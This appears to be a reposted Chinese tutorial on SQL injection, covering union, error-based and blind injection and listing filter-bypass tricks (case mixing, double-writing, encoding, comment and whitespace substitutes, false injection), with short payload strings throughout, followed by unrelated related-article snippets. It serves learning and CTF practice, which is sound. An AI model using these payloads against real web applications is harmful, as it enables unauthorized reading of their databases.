SQL注入基础及绕过手段

news/2025/11/4 16:15:23/文章来源:https://www.cnblogs.com/rycarl/p/19190549

SQL注入是什么

简单来说SQL注入,就是将攻击者输入的恶意代码被传到后端与SQL语句一起构造并在数据库中执行

通过不同的手段,SQL注入可以分为一下几类

select * from article where artid = 1 and xxxxx;

首先我们来看一下一个最基础的SQL注入例子

这是一段正常的SQL查询语句,如果我们输入1,那么就会查询id为1的文章

如果此时我们输入了1加一个单引号,那么此时的查询语句就是这样的

由于单引号没有闭合,从而导致SQL查询出错。

而基于不同的过滤,MYSQL版本或者是其他东西等,SQL注入就分为了很多种方法,

这里我们举了最常见的几种SQL注入方法。

1.联合注入

也是我们最简单最基础的一种注入方法,基本上SQL注入都是从联合注入开始学的

通过union语句,我们可以同时查询多组数据

例如最简单的查询数据库名:

1' union select 1,database()#

有时候只会回显一组数据,那么我们就可以改为

-1' union select 1,database()#

2.报错注入

就是通过报错回显的信息从而达成查看信息的目的

1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

常见被利用的有旁边我列出来的几种函数

3.布尔盲注

适用于没有数据回显的情况下

通过不同的回显进行判断是否成功

如这里我们查询数据库名的长度:

1' and length(database())=4#

4.时间盲注

和布尔盲注类似,只不过利用了sleep()函数,通过响应时间来判断

其他的注入方式我就简单说说,因为目前我也没见到过很多这种题

例如更新注入就是利用update语句进行注入

堆叠注入和命令拼接类似,都是用分号同时执行多条语句

二次注入就是利用了后端对数据库的信任,对数据库取出来的数据不进行处理从而导致注入问题

还有宽字节注入等,利用了编码的错误实现绕过

常见绕过方式

注释符

'#', '--+', '-- -', '%23', '%00', '/**/'

"and、or" 过滤

# 可以使用"&&"和"||"代替?id=1 && 1=1 --+ # 盲注,异或运算相同为0,不同为1;根据返回值0,1判断?id=1 union select (substr(database(),1,1)='s') ^ 0 --

关键词过滤

  • 大小写绕过id=-1' UnIoN SeLeCT xxx
  • 双写绕过适用于将关键词置空的场景id=-1'UNIunionONSeLselectECT1,2,3–-
  • 编码绕过可以使用URL,hex,ASCII等编码绕过例如'or 1=127%20%4F%52%201%3D%31%20%2D%2D
  • 注释绕过内联注释/**/将关键词分隔开id=1' UN/**/ION SE/**/LECT database() --

空格过滤

  • 内联注释代替空格id=1_/**/_and_/**/_1=1
  • 括号嵌套select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
  • 制表符、换行、不可见空格%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)
  • 反引号union(select`table_name`,`table_type`from`information_schema`.`tables`);

比较符号 "=、<、>"过滤

  • in()ascii(substr(select database(),1,1)) in(115); //根据回显判断
  • likelike代替'='
  • 正则表达式select database() regexp '^s'; //根据回显判断

逗号过滤

逗号被过滤时可以使用from...for...

select substr(select database() from 1 for 1);select substr(select database() from 2 for 1);

limit中的逗号可以替换成offset

select * from users limit 1 offset 2;

需要注意,limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行

False注入

select * from users where username = 0;		# 查询表中所有数据

其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据

绕过引号构造0的方法

select * from users where username = ''+'';select * from users where username = ''-'';select * from users where username = ''*'';select * from users where username = ''%1#';select * from users where username = ''/6#';

等价函数

  • if()=> case...when..then...else...end
0' or if((ascii(substr((select database()),1,1))>97),1,0)#=0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#
  • sleep() => benchmark()

​ benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断

  • concat_ws() => group_concat()
select group_concat(database());=select concat_ws(1,database());
  • substr() => substring() / lpad() / rpad() / left() / mid()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/955798.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WPF实现组件拖动(Grid)

xaml: <Window x:Class="WpfApp3Test.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/200…

关于嵌入式硬件需要了解的基础知识 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

api测试

这是一个用于测试的博客,发布后会马上删除,如果你看到这个信息,请忽略

spring-boot-actuator-Health原理

说明 在容器化部署下,如何判断服务是否健康通过 curl 127.0.0.1:8080/actuator/health检查 是否是健康状态 使用示例以sentinel为例 实现抽象类public class SentinelHealthIndicator extends AbstractHealthIndicat…

2025年广州防霉检测机构权威推荐榜单:除螨检测/除臭效果测试/输配水设备检测源头机构精选

防霉检测市场正迎来质量与技术双重升级,据行业数据显示,2025年中国防霉检测市场规模预计突破15亿元,年增长率稳定在12% 以上。 在消费品质量与安全要求日益提高的背景下,防霉检测已成为家居、建材、纺织、电子电器…

2025年钣金机箱外壳加工厂家权威推荐榜单:钣金壳体/变频器钣金壳体/钣金加工壳体源头厂家精选

在工业制造智能化转型的推动下,钣金机箱外壳加工作为装备制造的基础环节,市场需求持续增长。据2025年行业统计数据显示,中国钣金加工市场规模已突破4200亿元,年均增长率保持在12%以上。 随着新能源、通信、自动化等…

从零到一:我的开源AI商业化实战之路

今天我想分享使用三种主流开源方案实现商业变现的真实经历,希望能为正在探索AI商业化的你提供一些参考。从零到一:我的开源AI商业化实战之路 缘起:技术人的迷思 曾经,我也坚信"技术越厉害,赚钱越容易"。…

机器学习 BASEML到底是什么

from .base import baseml from .BaseClassification import Classification from .BaseRegression import Regression from .BaseCluster import Cluster from .BaseDimentionReduction import DimentionReduction__a…

体育馆游泳卡押金原路退回,安心无忧—东方仙盟 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

DesignSpark Mechanical (DSM)输入用户名密码提示在注册过程中发生错误

前言全局说明输入用户名密码提示“注册过程中发生错误”一、说明 1.1 环境: Windows 11 家庭版 24H2 26100.4061 Designspark Mechanical 6.0.3二、问题 一直可以用 DSM 都很正常,最近换了电脑,需要登录,输入用户名…

字段(辨析:字段、对象、属性和方法在 JavaScript 中的关系)

1. 对象 (Object) :名词,实体,是一个具体的实体,它是属性和方法的集合。它就是一个“东西”。 2. 属性 (Property) :形容词,状态,是描述对象状态或特征的值。它回答的是对象“是什么”或“有什么”的问题。属性…

P14364 [CSP-S 2025] 员工招聘 / employ 笔记

考完这次 CSP 真正的感受到了自己的弱小,「努力」了大半年,面对正赛题解还是跟读天书一样,什么都看不懂,文化课成绩倒是步步低降了。 我该在哪里停留?我问我自己。设最终的排列是 \(p_{1\dots n}\),\([1,i)\) 拒…

Spring boot 使用虚拟线程示例

项目使用版本Spring Boot v3.5.6 jdk 25配置 创建 VirtualThreadConfig 配置类 @Configuration @EnableAsync public class VirtualThreadConfig {@Bean(name = "virtualThreadExecutor")public TaskExecuto…

微算法科技(NASDAQ MLGO):以隐私计算区块链筑牢多方安全计算(MPC)安全防线

在数据价值日益凸显的当下,数据的流通与融合成为释放其潜力的关键。多方安全计算(MPC)作为隐私计算的核心技术,使参与方能够在不泄露原始数据的情况下协同完成计算任务,为数据的跨主体合作利用提供了可能。然而,…

怎么把idea的目录结构,以文本形式输出?——idea使用tree

1.在 idea 中的 Terminal 终端输入:tree或者tree -f如果想要保存到文件,例如保存到 C 盘tree >> C:/codeTree.txtwidown 系統下tree /f >> C:/codeTree.txt参数说明:-a 显示所有文件和目录。 -A 使用A…

2025年11月沼气直燃厂家综合评测:徐州海德测控技术有限公司领跑

2025年11月沼气直燃厂家综合评测:徐州海德测控技术有限公司领跑 文章摘要 本文深入分析2025年沼气直燃设备市场格局,对行业前十品牌进行全方位评测。徐州海德测控技术有限公司凭借卓越的技术实力、严格的质量管控体系…

微信小程序初始配置

1、设置AppSecret,将AppID、AppSecret配置到代码验证用2、配置服务器域名3、设置业务域名、需要在站点底下文件验证

python爬虫scrapy框架使用 - 教程

python爬虫scrapy框架使用 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&q…

2025年塑烧板除尘器源头厂家权威推荐榜单:耐高温除尘器/防爆除尘器/不锈钢除尘器源头厂家精选

工业除尘领域正迎来技术升级浪潮,塑烧板除尘器因其过滤精度高、使用寿命长、维护成本低等优势,市场份额持续提升,预计2025年全球市场规模将突破50亿元。 塑烧板除尘器作为工业粉尘治理的核心设备,已广泛应用于钢铁…

2025年剪叉升降平台供应商权威推荐榜单:车载剪叉式升降平台/移动剪叉式升降平台车/轨道升降平台源头厂家精选

在工程建设与工业安装需求持续增长的背景下,一台可靠高效的剪叉升降平台已成为提升高空作业安全性与工作效率的关键装备。 剪叉升降平台作为高空作业设备中的重要类别,其稳定性与安全性直接影响着工程建设的效率与作…